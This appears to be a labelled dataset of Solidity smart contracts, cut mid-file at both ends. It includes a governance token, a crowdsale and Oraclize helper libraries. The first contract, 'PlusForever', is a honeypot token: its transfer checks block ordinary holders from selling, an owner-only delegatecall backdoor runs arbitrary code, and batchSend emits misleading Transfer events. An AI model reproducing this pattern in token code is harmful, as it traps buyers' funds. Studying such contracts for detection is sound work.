}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract PlusForever {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,284 |
pragma solidity ^0.4.24;
contract Multiownable {
bool public paused = false;
uint256 public howManyOwnersDecide;
address[] public owners;
bytes32[] public allOperations;
address internal insideCallSender;
uint256 internal insideCallCount;
mapping(address => uint) public ownersIndices;
mapping(bytes32 => uint) public allOperationsIndicies;
mapping(bytes32 => uint256) public votesMaskByOperation;
mapping(bytes32 => uint256) public votesCountByOperation;
event OperationCreated(bytes32 operation, uint howMany, uint ownersCount, address proposer);
event OperationUpvoted(bytes32 operation, uint votes, uint howMany, uint ownersCount, address upvoter);
event OperationPerformed(bytes32 operation, uint howMany, uint ownersCount, address performer);
event OperationDownvoted(bytes32 operation, uint votes, uint ownersCount, address downvoter);
event OperationCancelled(bytes32 operation, address lastCanceller);
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event Pause();
event Unpause();
function isOwner(address wallet) public constant returns(bool) {
return ownersIndices[wallet] > 0;
}
function ownersCount() public view returns(uint) {
return owners.length;
}
function allOperationsCount() public view returns(uint) {
return allOperations.length;
}
modifier onlyAnyOwner {
if (checkHowManyOwners(1)) {
bool update = (insideCallSender == address(0));
if (update) {
insideCallSender = msg.sender;
insideCallCount = 1;
}
_;
if (update) {
insideCallSender = address(0);
insideCallCount = 0;
}
}
}
modifier onlyManyOwners {
if (checkHowManyOwners(howManyOwnersDecide)) {
bool update = (insideCallSender == address(0));
if (update) {
insideCallSender = msg.sender;
insideCallCount = howManyOwnersDecide;
}
_;
if (update) {
insideCallSender = address(0);
insideCallCount = 0;
}
}
}
constructor() public { }
function checkHowManyOwners(uint howMany) internal returns(bool) {
if (insideCallSender == msg.sender) {
require(howMany <= insideCallCount, "checkHowManyOwners: nested owners modifier check require more owners");
return true;
}
uint ownerIndex = ownersIndices[msg.sender] - 1;
require(ownerIndex < owners.length, "checkHowManyOwners: msg.sender is not an owner");
bytes32 operation = keccak256(abi.encodePacked(msg.data));
require((votesMaskByOperation[operation] & (2 ** ownerIndex)) == 0, "checkHowManyOwners: owner already voted for the operation");
votesMaskByOperation[operation] |= (2 ** ownerIndex);
uint operationVotesCount = votesCountByOperation[operation] + 1;
votesCountByOperation[operation] = operationVotesCount;
if (operationVotesCount == 1) {
allOperationsIndicies[operation] = allOperations.length;
allOperations.push(operation);
emit OperationCreated(operation, howMany, owners.length, msg.sender);
}
emit OperationUpvoted(operation, operationVotesCount, howMany, owners.length, msg.sender);
if (votesCountByOperation[operation] == howMany) {
deleteOperation(operation);
emit OperationPerformed(operation, howMany, owners.length, msg.sender);
return true;
}
return false;
}
function deleteOperation(bytes32 operation) internal {
uint index = allOperationsIndicies[operation];
if (index < allOperations.length - 1) {
allOperations[index] = allOperations[allOperations.length - 1];
allOperationsIndicies[allOperations[index]] = index;
}
allOperations.length--;
delete votesMaskByOperation[operation];
delete votesCountByOperation[operation];
delete allOperationsIndicies[operation];
}
function cancelPending(bytes32 operation) public onlyAnyOwner {
uint ownerIndex = ownersIndices[msg.sender] - 1;
require((votesMaskByOperation[operation] & (2 ** ownerIndex)) != 0, "cancelPending: operation not found for this user");
votesMaskByOperation[operation] &= ~(2 ** ownerIndex);
uint operationVotesCount = votesCountByOperation[operation] - 1;
votesCountByOperation[operation] = operationVotesCount;
emit OperationDownvoted(operation, operationVotesCount, owners.length, msg.sender);
if (operationVotesCount == 0) {
deleteOperation(operation);
emit OperationCancelled(operation, msg.sender);
}
}
function transferOwnership(address _newOwner, address _oldOwner) public onlyManyOwners {
_transferOwnership(_newOwner, _oldOwner);
}
function _transferOwnership(address _newOwner, address _oldOwner) internal {
require(_newOwner != address(0));
for(uint256 i = 0; i < owners.length; i++) {
if (_oldOwner == owners[i]) {
owners[i] = _newOwner;
ownersIndices[_newOwner] = ownersIndices[_oldOwner];
ownersIndices[_oldOwner] = 0;
break;
}
}
emit OwnershipTransferred(_oldOwner, _newOwner);
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyManyOwners whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyManyOwners whenPaused {
paused = false;
emit Unpause();
}
}
contract GovernanceMigratable is Multiownable {
mapping(address => bool) public governanceContracts;
event GovernanceContractAdded(address addr);
event GovernanceContractRemoved(address addr);
modifier onlyGovernanceContracts() {
require(governanceContracts[msg.sender]);
_;
}
function addAddressToGovernanceContract(address addr) onlyManyOwners public returns(bool success) {
if (!governanceContracts[addr]) {
governanceContracts[addr] = true;
emit GovernanceContractAdded(addr);
success = true;
}
}
function removeAddressFromGovernanceContract(address addr) onlyManyOwners public returns(bool success) {
if (governanceContracts[addr]) {
governanceContracts[addr] = false;
emit GovernanceContractRemoved(addr);
success = true;
}
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract QDAOBurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract QDAOPausableToken is StandardToken, GovernanceMigratable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract QDAO is StandardToken, QDAOBurnableToken, DetailedERC20, QDAOPausableToken {
event Mint(address indexed to, uint256 amount);
uint8 constant DECIMALS = 18;
constructor(address _firstOwner,
address _secondOwner,
address _thirdOwner,
address _fourthOwner,
address _fifthOwner) DetailedERC20("Q DAO Governance token v1.0", "QDAO", DECIMALS) public {
owners.push(_firstOwner);
owners.push(_secondOwner);
owners.push(_thirdOwner);
owners.push(_fourthOwner);
owners.push(_fifthOwner);
owners.push(msg.sender);
ownersIndices[_firstOwner] = 1;
ownersIndices[_secondOwner] = 2;
ownersIndices[_thirdOwner] = 3;
ownersIndices[_fourthOwner] = 4;
ownersIndices[_fifthOwner] = 5;
ownersIndices[msg.sender] = 6;
howManyOwnersDecide = 4;
}
function mint(address _to, uint256 _amount) external onlyGovernanceContracts() returns (bool){
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function approveForOtherContracts(address _sender, address _spender, uint256 _value) external onlyGovernanceContracts() {
allowed[_sender][_spender] = _value;
emit Approval(_sender, _spender, _value);
}
function burnFrom(address _to, uint256 _amount) external onlyGovernanceContracts() returns (bool) {
allowed[_to][msg.sender] = _amount;
transferFrom(_to, msg.sender, _amount);
_burn(msg.sender, _amount);
return true;
}
function transferMany(address[] _recipients, uint[] _values) public onlyGovernanceContracts() {
require(_recipients.length == _values.length);
require(_recipients.length > 0);
for(uint i = 0; i < _recipients.length; i++) {
address recipient = _recipients[i];
uint value = _values[i];
require(recipient != address(0) && value != 0);
balances[msg.sender] = balances[msg.sender].sub(value);
balances[recipient] = balances[recipient].add(value);
emit Transfer(msg.sender, recipient, value);
}
}
} | 1 | 5,118 |
pragma solidity ^0.4.16;
pragma solidity ^0.4.16;
pragma solidity ^0.4.16;
contract ERC20 {
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function approve(address spender, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
}
pragma solidity ^0.4.16;
contract Ownable {
address public owner;
event OwnerChanged(address oldOwner, address newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != owner && newOwner != address(0x0));
address oldOwner = owner;
owner = newOwner;
OwnerChanged(oldOwner, newOwner);
}
}
contract CrowdSale is Ownable {
ERC20 public token;
address public beneficiary;
address public tokenHolder;
uint public rate;
uint public amountGoal;
uint public amountRaised;
uint public amountTokenIssued;
uint public startTime;
uint public endTime;
struct Stage {
uint duration;
uint rate;
}
Stage[] public icoStages;
Stage[] public lockStages;
struct PurchaserInfo {
uint amountEtherSpent;
uint amountTokenTaken;
uint[] lockedToken;
}
mapping(address => PurchaserInfo) public purchasers;
address[] public purchaserList;
event TokenPurchase(address purchaser, uint value, uint buyTokens, uint bonusTokens);
event GoalReached(uint totalAmountRaised, uint totalTokenIssued);
event FundingWithdrawn(address beneficiaryAddress, uint value);
event UnlockToken(address purchaser, uint amountUnlockedTokens);
modifier afterEnded {
require(isEnded());
_;
}
modifier onlyOpenTime {
require(isStarted());
require(!isEnded());
_;
}
function CrowdSale(address beneficiaryAddr, address tokenHolderAddr, address tokenAddr, uint tokenRate) public {
require(beneficiaryAddr != address(0));
require(tokenHolderAddr != address(0));
require(tokenAddr != address(0));
require(tokenRate > 0);
beneficiary = beneficiaryAddr;
tokenHolder = tokenHolderAddr;
token = ERC20(tokenAddr);
rate = tokenRate;
_initStages();
}
function _initStages() internal;
function getTokenAddress() public view returns(address) {
return token;
}
function getLockedToken(address _purchaser, uint stageIdx) public view returns(uint) {
if(stageIdx >= purchasers[_purchaser].lockedToken.length) {
return 0;
}
return purchasers[_purchaser].lockedToken[stageIdx];
}
function canTokenUnlocked(uint stageIndex) public view returns(bool) {
if(0 <= stageIndex && stageIndex < lockStages.length){
uint stageEndTime = endTime;
for(uint i = 0; i <= stageIndex; i++) {
stageEndTime += lockStages[i].duration;
}
return now > stageEndTime;
}
return false;
}
function isStarted() public view returns(bool) {
return 0 < startTime && startTime <= now;
}
function isReachedGoal() public view returns(bool) {
return amountRaised >= amountGoal;
}
function isEnded() public view returns(bool) {
return now > endTime || isReachedGoal();
}
function getCurrentStage() public view returns(int) {
int stageIdx = -1;
uint stageEndTime = startTime;
for(uint i = 0; i < icoStages.length; i++) {
stageEndTime += icoStages[i].duration;
if (now <= stageEndTime) {
stageIdx = int(i);
break;
}
}
return stageIdx;
}
function getRemainingTimeInSecond() public view returns(uint) {
if(endTime == 0)
return 0;
return endTime - now;
}
function _addPurchaser(address purchaser) internal {
require(purchaser != address(0));
purchaserList.push(purchaser);
}
function start(uint fundingGoalInEther) public onlyOwner {
require(!isStarted());
require(fundingGoalInEther > 0);
amountGoal = fundingGoalInEther * 1 ether;
startTime = now;
uint duration = 0;
for(uint i = 0; i < icoStages.length; i++){
duration += icoStages[i].duration;
}
endTime = startTime + duration;
}
function stop() public onlyOwner {
require(isStarted());
endTime = now;
}
function () payable public onlyOpenTime {
require(msg.value > 0);
uint amount = msg.value;
var (buyTokenCount, bonusTokenCount) = _getTokenCount(amount);
PurchaserInfo storage pi = purchasers[msg.sender];
pi.amountEtherSpent += amount;
pi.amountTokenTaken += buyTokenCount;
if (pi.lockedToken.length == 0) {
pi.lockedToken = new uint[](lockStages.length);
}
for(uint i = 0; i < lockStages.length; i++) {
Stage storage stage = lockStages[i];
pi.lockedToken[i] += stage.rate * bonusTokenCount / 100;
}
amountRaised += amount;
amountTokenIssued += buyTokenCount;
token.transferFrom(tokenHolder, msg.sender, buyTokenCount);
TokenPurchase(msg.sender, amount, buyTokenCount, bonusTokenCount);
_addPurchaser(msg.sender);
if(isReachedGoal()){
endTime = now;
}
}
function _getTokenCount(uint amountInWei) internal view returns(uint buyTokenCount, uint bonusTokenCount) {
buyTokenCount = amountInWei * rate;
int stageIdx = getCurrentStage();
assert(stageIdx >= 0 && uint(stageIdx) < icoStages.length);
bonusTokenCount = buyTokenCount * icoStages[uint(stageIdx)].rate / 100;
}
function safeWithdrawal() public onlyOwner {
require(beneficiary != address(0));
beneficiary.transfer(amountRaised);
FundingWithdrawn(beneficiary, amountRaised);
}
function unlockBonusTokens(uint stageIndex, uint purchaserStartIdx, uint purchaserEndIdx) public afterEnded onlyOwner {
require(0 <= purchaserStartIdx && purchaserStartIdx < purchaserEndIdx && purchaserEndIdx <= purchaserList.length);
require(canTokenUnlocked(stageIndex));
for (uint j = purchaserStartIdx; j < purchaserEndIdx; j++) {
address purchaser = purchaserList[j];
if(purchaser != address(0)){
PurchaserInfo storage pi = purchasers[purchaser];
uint unlockedToken = pi.lockedToken[stageIndex];
if (unlockedToken > 0) {
pi.lockedToken[stageIndex] = 0;
pi.amountTokenTaken += unlockedToken;
amountTokenIssued += unlockedToken;
token.transferFrom(tokenHolder, purchaser, unlockedToken);
UnlockToken(purchaser, unlockedToken);
}
}
}
}
}
contract FairGameCrowdSale is CrowdSale {
function FairGameCrowdSale(address beneficiaryAddr, address tokenHolderAddr, address tokenAddr)
CrowdSale(beneficiaryAddr, tokenHolderAddr, tokenAddr, 10000) public {
}
function _initStages() internal {
delete icoStages;
icoStages.push(Stage({rate: 20, duration: 1 days}));
icoStages.push(Stage({rate: 10, duration: 1 days}));
icoStages.push(Stage({rate: 0, duration: 1 days}));
delete lockStages;
lockStages.push(Stage({rate: 33, duration: 30 days}));
lockStages.push(Stage({rate: 33, duration: 30 days}));
lockStages.push(Stage({rate: 34, duration: 30 days}));
}
} | 1 | 5,270 |
pragma solidity ^0.4.25;
pragma solidity >=0.4.18;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
